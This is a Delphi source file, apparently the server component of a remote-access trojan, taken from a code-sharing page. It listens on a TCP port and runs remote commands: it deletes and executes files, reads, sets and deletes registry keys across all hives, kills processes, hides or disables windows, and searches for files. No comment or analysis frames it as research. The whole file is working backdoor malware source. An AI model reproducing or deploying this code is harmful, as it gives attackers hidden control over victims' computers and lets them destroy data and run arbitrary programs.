?? serverpart1.pas
字號:
SaveFile(RefreshList(Param), (Sysdir + '\FILE.LST'));
An := '21FILE.LST'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! DELETE FILE
If Cmd = '22' Then Begin
If DeleteFile(pChar(Param)) Then
An := cmd+'Y' Else An := Cmd+'N';
Send(CServ1, An[1], Length(An), 0);
End;
// !! EXECUTE FILE
If Cmd = '23' Then Begin
If ShellExecute(0, 'open', pChar(Param), NIL, NIL, 0) = ERROR_SUCCESS Then
An := cmd+'Y' Else An := Cmd+'N';
Send(CServ1, An[1], Length(An), 0);
End;
// !! REFRESH REG
If Cmd = '24' Then Begin
tmp1 := copy(param, 1, pos(':', param)-1);
tmp2 := copy(param, pos(':', param)+1, length(param));
If Tmp1 = 'HKEY_CLASSES_ROOT' then
SaveFile(ReadRegEdit(HKEY_CLASSES_ROOT, Tmp2, 0), (Sysdir + '\FILE.LST'));
If Tmp1 = 'HKEY_CURRENT_USER' then
SaveFile(ReadRegEdit(HKEY_CURRENT_USER, Tmp2, 0), (Sysdir + '\FILE.LST'));
If Tmp1 = 'HKEY_LOCAL_MACHINE' then
SaveFile(ReadRegEdit(HKEY_LOCAL_MACHINE, Tmp2, 0), (Sysdir + '\FILE.LST'));
If Tmp1 = 'HKEY_USERS' then
SaveFile(ReadRegEdit(HKEY_USERS, Tmp2, 0), (Sysdir + '\FILE.LST'));
If Tmp1 = 'HKEY_CURRENT_CONFIG' then
SaveFile(ReadRegEdit(HKEY_CURRENT_CONFIG, Tmp2, 0), (Sysdir + '\FILE.LST'));
An := '24FILE.LST'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! DELETE KEY
if Cmd = '25' Then Begin
tmp1 := copy(param, 1, pos(':', param)-1);
tmp2 := copy(param, pos(':', param)+1, length(param));
tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);
If Tmp1 = 'HKEY_CLASSES_ROOT' then
DeleteRegKey(HKEY_CLASSES_ROOT, Tmp2, Tmp3);
If Tmp1 = 'HKEY_CURRENT_USER' then
DeleteRegKey(HKEY_CURRENT_USER, Tmp2, Tmp3);
If Tmp1 = 'HKEY_LOCAL_MACHINE' then
DeleteRegKey(HKEY_LOCAL_MACHINE, Tmp2, Tmp3);
If Tmp1 = 'HKEY_USERS' then
DeleteRegKey(HKEY_USERS, Tmp2, Tmp3);
If Tmp1 = 'HKEY_CURRENT_CONFIG' then
DeleteRegKey(HKEY_CURRENT_CONFIG, Tmp2, Tmp3);
An := '25'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! DELETE VALUE
if Cmd = '26' Then Begin
tmp1 := copy(param, 1, pos(':', param)-1);
tmp2 := copy(param, pos(':', param)+1, length(param));
tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);
If Tmp1 = 'HKEY_CLASSES_ROOT' then
DeleteRegValue(HKEY_CLASSES_ROOT, Tmp2, Tmp3);
If Tmp1 = 'HKEY_CURRENT_USER' then
DeleteRegValue(HKEY_CURRENT_USER, Tmp2, Tmp3);
If Tmp1 = 'HKEY_LOCAL_MACHINE' then
DeleteRegValue(HKEY_LOCAL_MACHINE, Tmp2, Tmp3);
If Tmp1 = 'HKEY_USERS' then
DeleteRegValue(HKEY_USERS, Tmp2, Tmp3);
If Tmp1 = 'HKEY_CURRENT_CONFIG' then
DeleteRegValue(HKEY_CURRENT_CONFIG, Tmp2, Tmp3);
An := '26'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! SET VALUE
If Cmd = '27' then begin
tmp1 := copy(param, 1, pos(':', param)-1);
tmp2 := copy(param, pos(':', param)+1, length(param));
tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
tmp4 := copy(tmp3, pos(':', tmp3)+1, length(tmp3));
tmp3 := copy(tmp3, 1, pos(':', tmp3)-1);
tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);
If Tmp1 = 'HKEY_CLASSES_ROOT' then
SetRegValue(HKEY_CLASSES_ROOT, Tmp2, Tmp3, tmp4);
If Tmp1 = 'HKEY_CURRENT_USER' then
SetRegValue(HKEY_CURRENT_USER, Tmp2, Tmp3, tmp4);
If Tmp1 = 'HKEY_LOCAL_MACHINE' then
SetRegValue(HKEY_LOCAL_MACHINE, Tmp2, Tmp3, tmp4);
If Tmp1 = 'HKEY_USERS' then
SetRegValue(HKEY_USERS, Tmp2, Tmp3, tmp4);
If Tmp1 = 'HKEY_CURRENT_CONFIG' then
SetRegValue(HKEY_CURRENT_CONFIG, Tmp2, Tmp3, tmp4);
An := '27'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! UPDATE PROCESS
If Cmd = '29' Then Begin
SaveFile(LISTPROC, (Sysdir+'PROC.LST'));
An := '24PROC.LST'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! CLOSE PROCESS
If Cmd = '30' Then Begin
KillProc(Param);
An := '30'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! REFRESH WINDOWS
If Cmd = '31' Then Begin
SaveFile(GETWINS, (Sysdir+'WINS.LST'));
An := '24WINS.LST'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! CHANGE CAPTION
If Cmd = '32' Then Begin
Tmp1 := Copy(Param, 1, pos(':', Param)-1);
Tmp2 := Copy(Param, Pos(':', Param)+1, Length(Param));
SetWindowText(StrToInt(Tmp1), pChar(Tmp2));
An := '32'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! HIDE WINDOW
If Cmd = '33' Then Begin
ShowWindow(StrToInt(Param), 0);
An := '34'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! SHOW WINDOW
If Cmd = '34' Then Begin
ShowWindow(StrToInt(Param), 1);
An := '34'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! DISABLE WINDOW
If Cmd = '35' Then Begin
EnableWindow(StrToInt(Param), False);
An := '35'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! ENABLE WINDOW
If Cmd = '36' Then Begin
EnableWindow(StrToInt(Param), True);
An := '36'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! CANCEL CURRENT
If Cmd = '37' Then Begin
Cancel_Transfer := True;
An := '37'#13;
Send(CServ1, An[1], Length(An), 0);
End;
// !! FIND FILES
If Cmd = '38' Then Begin
If Already_Searching Then Cancel_Search := True;
Sleep(200);
SearchFor := Param;
Cancel_Search := False;
Already_Searching := True;
CreateThread(NIL, 0, @FindFile, NIL, 0, FindFiles_Thread);
An := '38'#13;
Send(CServ1, An[1], Length(An), 0);
End;
End;
Function ServerProc1 (Win:Hwnd; Mess:Word; Wpr:Word; Lpr:LongInt):LongInt;Stdcall;
Begin
Result := 0;
Case mess Of
SM_CONNECT: Begin
If Connected Then Exit;
RemoteSockAddrLen^ := SizeOf(RemoteSockAddr^);
CServ1 := Accept(Serv1, RemoteSockAddr, RemoteSockAddrLen);
wsaAsyncSelect(CServ1, MainWin, SM_SOCKET, FD_READ or FD_CLOSE);
Connected := True;
Exit;
End;
SM_SOCKET : Begin
Case LoWord(Lpr) Of
FD_READ: SocketRead1('');
FD_CLOSE: Begin
Connected := False;
Exit;
End;
End;
End;
WM_CLOSE : Begin
PostQuitMessage(0);
ExitProcess(0);
End;
WM_DESTROY: Begin
PostQuitMessage(0);
ExitProcess(0);
End;
WM_QUIT : Begin
ExitProcess(0);
End;
End;
Result := DefWindowProc(Win, Mess, Wpr, Lpr);
End;
Procedure Server1(Port:Integer);
begin
Inst := GetModuleHandle(NIL);
With wClass Do Begin
Style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := @ServerProc1;
hInstance := Inst;
hbrBackGround := Color_BtnFace + 1;
lpszClassname := ServerClass;
hCursor := LoadCursor(0, IDC_ARROW);
End;
RegisterClass(wClass);
MainWin := CreateWindow(ServerClass, NIL, 0, 0, 0,
GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN),
0, 0, Inst, NIL);
WSAStartUp($0101, wsData);
Serv1 := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
SockAddrIn.Sin_Family := PF_INET;
SockAddrIn.Sin_Addr.S_Addr := INADDR_ANY;
SockAddrIn.Sin_Port := hTons(Port);
Bind(Serv1, SockAddrIn, SizeOf(SockAddrIn));
Listen(Serv1, 1);
wsaAsyncSelect(Serv1, MainWin, SM_CONNECT, FD_ACCEPT);
GetMem (RemoteSockAddr, SizeOf(RemoteSockAddr));
GetMem (RemoteSockAddrLen, SizeOf(RemoteSockAddrLen));
While GetMessage(Msg, 0, 0, 0) Do Begin
DispatchMessage(Msg);
TranslateMessage(Msg);
End;
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -